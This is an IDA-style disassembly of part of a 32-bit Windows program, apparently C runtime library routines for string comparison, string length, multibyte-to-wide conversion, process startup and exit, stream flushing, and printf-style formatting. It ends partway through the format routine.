locret_41795C:				; CODE XREF: sub_417910+6j
		retn
; ---------------------------------------------------------------------------


loc_41795D:				; CODE XREF: sub_417910+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_417992
		repe cmpsd
		jz	short loc_417992
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_417985
		cmp	ch, dh
		jnz	short loc_417985
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_417985
		cmp	ch, dh


loc_417985:				; CODE XREF: sub_417910+63j
					; sub_417910+67j ...
		mov	eax, 0


loc_41798A:				; CODE XREF: sub_417910+26j
					; sub_417910+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417910+55j
					; sub_417910+59j
		test	eax, eax
		jz	short loc_41795A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_417985
		dec	eax
		jz	short loc_4179B9
		cmp	dh, ch
		jnz	short loc_417985
		dec	eax
		jz	short loc_4179B9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_417985
		dec	eax


loc_4179B9:				; CODE XREF: sub_417910+8Fj
					; sub_417910+96j
		pop	edi
		pop	esi
		retn
sub_417910	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179BC	proc near		; CODE XREF: sub_413C8F+55p
					; seg000:004148D6p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179D3


loc_4179C9:				; CODE XREF: sub_4179BC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179C9


loc_4179D3:				; CODE XREF: sub_4179BC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179D9	proc near		; CODE XREF: sub_413C8F+19p
					; sub_413C8F+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AA6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AD3
		cmp	ds:dword_469508, esi
		jnz	short loc_417A2A
		cmp	edi, esi
		jbe	loc_417AD3


loc_417A09:				; CODE XREF: sub_4179D9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AD3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A09
		jmp	loc_417AD3
; ---------------------------------------------------------------------------


loc_417A2A:				; CODE XREF: sub_4179D9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_469518
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417AD2
		call	ds:dword_421088	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417A64


loc_417A55:				; CODE XREF: sub_4179D9+CBj
					; sub_4179D9+F7j
		mov	ds:dword_469474, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417A64:				; CODE XREF: sub_4179D9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417A6C:				; CODE XREF: sub_4179D9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417A8E
		mov	edx, ds:off_437D50
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417A83
		inc	eax


loc_417A83:				; CODE XREF: sub_4179D9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A6C


loc_417A8E:				; CODE XREF: sub_4179D9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_469518
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417AD3
		jmp	short loc_417A55
; ---------------------------------------------------------------------------


loc_417AA6:				; CODE XREF: sub_4179D9+Fj
		cmp	ds:dword_469508, esi
		jnz	short loc_417AB9
		push	[ebp+arg_4]
		call	sub_415CD0
		pop	ecx
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417AB9:				; CODE XREF: sub_4179D9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_469518
		call	ds:dword_421064	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417A55


loc_417AD2:				; CODE XREF: sub_4179D9+6Bj
		dec	eax


loc_417AD3:				; CODE XREF: sub_4179D9+1Aj
					; sub_4179D9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179D9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_42116C	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_46948C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_469488, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_469484, ecx
		shr	eax, 10h
		mov	ds:dword_469480, eax
		xor	esi, esi
		push	esi
		call	sub_418A63
		pop	ecx
		test	eax, eax
		jnz	short loc_417B44
		push	1Ch
		call	sub_417BF3
		pop	ecx


loc_417B44:				; CODE XREF: seg000:00417B3Aj
		mov	[ebp-4], esi
		call	loc_41CC32
		call	near ptr 0C70004h
		arpl	word ptr ds:dword_46AAE4[ebx], sp
		call	sub_41CB00
		mov	ds:dword_4694C0, eax
		call	sub_41C8B3
		call	sub_41C7FA
		call	sub_4177DA
		mov	[ebp-30h], esi
		lea	eax, [ebp-5Ch]
		push	eax
		call	near ptr 0D30004h
		shr	eax, 20h
		dec	esp
; ---------------------------------------------------------------------------
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 65E85656h, 2D009384h, 4AC0E850h, 4589FFFFh
		dd 58E850A0h, 8BFFFFFCh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 4A5Eh, 8BC35959h, 75FFE865h,	0FC4AE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_417BCE	proc near		; CODE XREF: sub_416832+16p
					; sub_41C7FA+4Ep ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4694C8, 1
		jnz	short loc_417BDC
		call	sub_41CEC0


loc_417BDC:				; CODE XREF: sub_417BCE+7j
		push	[esp+arg_0]
		call	sub_41CEF9
		push	0FFh
		call	ds:off_437D40
		pop	ecx
		pop	ecx
		retn
sub_417BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BF3	proc near		; CODE XREF: seg000:00417B3Ep

arg_0		= dword	ptr  4

		cmp	ds:dword_4694C8, 1
		jnz	short loc_417C01
		call	sub_41CEC0


loc_417C01:				; CODE XREF: sub_417BF3+7j
		push	[esp+arg_0]
		call	sub_41CEF9
		pop	ecx
		push	0FFh
		call	ds:dword_421114	; ExitProcess
		retn
sub_417BF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C17	proc near		; CODE XREF: sub_4154CD+46p
					; sub_415A4A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D20
		test	al, 40h
		jnz	loc_417D20
		test	al, 1
		jz	short loc_417C4F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D20
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C4F:				; CODE XREF: sub_417C17+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417C89
		cmp	esi, offset dword_438468
		jz	short loc_417C77
		cmp	esi, offset dword_438488
		jnz	short loc_417C82


loc_417C77:				; CODE XREF: sub_417C17+56j
		push	ebx
		call	sub_41D090
		test	eax, eax
		pop	ecx
		jnz	short loc_417C89


loc_417C82:				; CODE XREF: sub_417C17+5Ej
		push	esi
		call	sub_41D04C
		pop	ecx


loc_417C89:				; CODE XREF: sub_417C17+4Ej
					; sub_417C17+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417CF6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CB9
		push	edi
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417CEC
; ---------------------------------------------------------------------------


loc_417CB9:				; CODE XREF: sub_417C17+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CD4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CD9
; ---------------------------------------------------------------------------


loc_417CD4:				; CODE XREF: sub_417C17+A5j
		mov	eax, offset dword_4383B0


loc_417CD9:				; CODE XREF: sub_417C17+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417CEC
		push	2
		push	0
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch


loc_417CEC:				; CODE XREF: sub_417C17+A0j
					; sub_417C17+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D0A
; ---------------------------------------------------------------------------


loc_417CF6:				; CODE XREF: sub_417C17+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D0A:				; CODE XREF: sub_417C17+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D16
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D25
; ---------------------------------------------------------------------------


loc_417D16:				; CODE XREF: sub_417C17+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D28
; ---------------------------------------------------------------------------


loc_417D20:				; CODE XREF: sub_417C17+10j
					; sub_417C17+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D25:				; CODE XREF: sub_417C17+FDj
		or	eax, 0FFFFFFFFh


loc_417D28:				; CODE XREF: sub_417C17+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D2C	proc near		; CODE XREF: sub_4154CD+29p
					; sub_415A4A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418445
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D60
; ---------------------------------------------------------------------------


loc_417D58:				; CODE XREF: sub_417D2C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417D60:				; CODE XREF: sub_417D2C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418445
		cmp	bl, 20h
		jl	short loc_417D81
		cmp	bl, 78h
		jg	short loc_417D81
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417D83
; ---------------------------------------------------------------------------


loc_417D81:				; CODE XREF: sub_417D2C+40j
					; sub_417D2C+45j
		xor	eax, eax


loc_417D83:				; CODE XREF: sub_417D2C+53j
		movsx	eax, ds:byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418434	; default
		jmp	ds:off_41844D[eax*4] ; switch jump


loc_417DA1:				; DATA XREF: seg000:off_41844Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417D9A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DBC:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		movsx	eax, bl		; jumptable 00417D9A case 2
		sub	eax, 20h
		jz	short loc_417DFF
		sub	eax, 3
		jz	short loc_417DF6
		sub	eax, 8
		jz	short loc_417DED
		dec	eax
		dec	eax
		jz	short loc_417DE4
		sub	eax, 3
		jnz	loc_418434	; default
		or	[ebp+var_4], 8
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DE4:				; CODE XREF: sub_417D2C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417D2C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DF6:				; CODE XREF: sub_417D2C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DFF:				; CODE XREF: sub_417D2C+96j
		or	[ebp+var_4], 2
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E08:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 2Ah		; jumptable 00417D9A case 3
		jnz	short loc_417E30
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418434	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E28:				; CODE XREF: sub_417D2C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E30:				; CODE XREF: sub_417D2C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E28
; ---------------------------------------------------------------------------


loc_417E3F:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		mov	[ebp+var_10], edx ; jumptable 00417D9A case 4
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E47:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 2Ah		; jumptable 00417D9A case 5
		jnz	short loc_417E6A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418434	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E6A:				; CODE XREF: sub_417D2C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E7C:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 49h		; jumptable 00417D9A case 6
		jz	short loc_417EAF
		cmp	bl, 68h
		jz	short loc_417EA6
		cmp	bl, 6Ch
		jz	short loc_417E9D
		cmp	bl, 77h
		jnz	loc_418434	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E9D:				; CODE XREF: sub_417D2C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EA6:				; CODE XREF: sub_417D2C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EAF:				; CODE XREF: sub_417D2C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EC8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EC8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EC8:				; CODE XREF: sub_417D2C+186j
					; sub_417D2C+18Cj
		mov	[ebp+var_30], edx


loc_417ECB:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		mov	ecx, ds:off_437D50 ; jumptable 00417D9A	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417EF7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41846D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_417EF7:				; CODE XREF: sub_417D2C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41846D
		add	esp, 0Ch
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417F0F:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		movsx	eax, bl		; jumptable 00417D9A case 7
		cmp	eax, 67h
		jg	loc_418137
		cmp	eax, 65h
		jge	loc_417FBA
		cmp	eax, 58h
		jg	loc_418018
		jz	loc_4181AB
		sub	eax, 43h
		jz	loc_417FDB
		dec	eax
		dec	eax
		jz	short loc_417FB0
		dec	eax
		dec	eax
		jz	short loc_417FB0
		sub	eax, 0Ch
		jnz	loc_418336
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F59
		or	byte ptr [ebp+var_4+1],	8


loc_417F59:				; CODE XREF: sub_417D2C+227j
					; sub_417D2C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F66
		mov	esi, 7FFFFFFFh


loc_417F66:				; CODE XREF: sub_417D2C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41817F
		test	ecx, ecx
		jnz	short loc_417F8E
		mov	ecx, ds:off_437D4C
		mov	[ebp+var_8], ecx


loc_417F8E:				; CODE XREF: sub_417D2C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_417F97:				; CODE XREF: sub_417D2C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418176
		cmp	word ptr [eax],	0
		jz	loc_418176
		inc	eax
		inc	eax
		jmp	short loc_417F97
; ---------------------------------------------------------------------------


loc_417FB0:				; CODE XREF: sub_417D2C+212j
					; sub_417D2C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_417FBA:				; CODE XREF: sub_417D2C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41809E
		mov	[ebp+var_10], 6
		jmp	loc_4180AC
; ---------------------------------------------------------------------------


loc_417FDB:				; CODE XREF: sub_417D2C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417FE7
		or	byte ptr [ebp+var_4+1],	8


loc_417FE7:				; CODE XREF: sub_417D2C+2B5j
					; sub_417D2C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41802E
		call	sub_418528
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D16F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418041
		mov	[ebp+var_28], 1
		jmp	short loc_418041
; ---------------------------------------------------------------------------


loc_418018:				; CODE XREF: sub_417D2C+1FBj
		sub	eax, 5Ah
		jz	short loc_41804F
		sub	eax, 9
		jz	short loc_417FE7
		dec	eax
		jz	loc_418211
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_41802E:				; CODE XREF: sub_417D2C+2C5j
		call	sub_41850B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_418041:				; CODE XREF: sub_417D2C+2E1j
					; sub_417D2C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_41804F:				; CODE XREF: sub_417D2C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		jz	short loc_418090
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_418090
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_418081
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418336
; ---------------------------------------------------------------------------


loc_418081:				; CODE XREF: sub_417D2C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_418090:				; CODE XREF: sub_417D2C+32Fj
					; sub_417D2C+336j
		mov	eax, ds:off_437D48
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41812C
; ---------------------------------------------------------------------------


loc_41809E:				; CODE XREF: sub_417D2C+29Dj
		jnz	short loc_4180AC
		cmp	bl, 67h
		jnz	short loc_4180AC
		mov	[ebp+var_10], 1


loc_4180AC:				; CODE XREF: sub_417D2C+2AAj
					; sub_417D2C:loc_41809Ej ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_438088
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_4180FE
		cmp	[ebp+var_10], 0
		jnz	short loc_4180FE
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_438094
		pop	ecx


loc_4180FE:				; CODE XREF: sub_417D2C+3BCj
					; sub_417D2C+3C2j
		cmp	bl, 67h
		jnz	short loc_418115
		test	esi, esi
		jnz	short loc_418115
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_43808C
		pop	ecx


loc_418115:				; CODE XREF: sub_417D2C+3D5j
					; sub_417D2C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41812B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41812B:				; CODE XREF: sub_417D2C+3F0j
		push	edi


loc_41812C:				; CODE XREF: sub_417D2C+36Dj
		call	sub_415CD0
		pop	ecx
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_418137:				; CODE XREF: sub_417D2C+1E9j
		sub	eax, 69h
		jz	loc_418211
		sub	eax, 5
		jz	loc_4181E7
		dec	eax
		jz	loc_4181D4
		dec	eax
		jz	short loc_4181A4
		sub	eax, 3
		jz	loc_417F59
		dec	eax
		dec	eax
		jz	loc_418215
		sub	eax, 3
		jnz	loc_418336
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418176:				; CODE XREF: sub_417D2C+270j
					; sub_417D2C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_41817F:				; CODE XREF: sub_417D2C+24Fj
		test	ecx, ecx
		jnz	short loc_41818C
		mov	ecx, ds:off_437D48
		mov	[ebp+var_8], ecx


loc_41818C:				; CODE XREF: sub_417D2C+455j
		mov	eax, ecx


loc_41818E:				; CODE XREF: sub_417D2C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41819D
		cmp	byte ptr [eax],	0
		jz	short loc_41819D
		inc	eax
		jmp	short loc_41818E
; ---------------------------------------------------------------------------


loc_41819D:				; CODE XREF: sub_417D2C+467j
					; sub_417D2C+46Cj
		sub	eax, ecx
		jmp	loc_418333
; ---------------------------------------------------------------------------


loc_4181A4:				; CODE XREF: sub_417D2C+425j
		mov	[ebp+var_10], 8


loc_4181AB:				; CODE XREF: sub_417D2C+201j
		mov	[ebp+var_2C], 7


loc_4181B2:				; CODE XREF: sub_417D2C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41821C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41821C
; ---------------------------------------------------------------------------


loc_4181D4:				; CODE XREF: sub_417D2C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41821C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41821C
; ---------------------------------------------------------------------------


loc_4181E7:				; CODE XREF: sub_417D2C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418200
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418205
; ---------------------------------------------------------------------------


loc_418200:				; CODE XREF: sub_417D2C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418205:				; CODE XREF: sub_417D2C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_418211:				; CODE XREF: sub_417D2C+2F7j
					; sub_417D2C+40Ej
		or	[ebp+var_4], 40h


loc_418215:				; CODE XREF: sub_417D2C+432j
		mov	[ebp+var_C], 0Ah


loc_41821C:				; CODE XREF: sub_417D2C+491j
					; sub_417D2C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41822E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418518
		pop	ecx
		jmp	short loc_41826F
; ---------------------------------------------------------------------------


loc_41822E:				; CODE XREF: sub_417D2C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418255
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41824A
		call	sub_41850B
		pop	ecx
		movsx	eax, ax


loc_418247:				; CODE XREF: sub_417D2C+527j
					; sub_417D2C+539j
		cdq
		jmp	short loc_41826F
; ---------------------------------------------------------------------------


loc_41824A:				; CODE XREF: sub_417D2C+510j
		call	sub_41850B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418247
; ---------------------------------------------------------------------------


loc_418255:				; CODE XREF: sub_417D2C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418267
		call	sub_41850B
		pop	ecx
		jmp	short loc_418247
; ---------------------------------------------------------------------------


loc_418267:				; CODE XREF: sub_417D2C+531j
		call	sub_41850B
		pop	ecx
		xor	edx, edx


loc_41826F:				; CODE XREF: sub_417D2C+500j
					; sub_417D2C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_418290
		test	edx, edx
		jg	short loc_418290
		jl	short loc_41827F
		test	eax, eax
		jnb	short loc_418290


loc_41827F:				; CODE XREF: sub_417D2C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_418294
; ---------------------------------------------------------------------------


loc_418290:				; CODE XREF: sub_417D2C+547j
					; sub_417D2C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_418294:				; CODE XREF: sub_417D2C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41829D
		and	edi, 0


loc_41829D:				; CODE XREF: sub_417D2C+56Cj
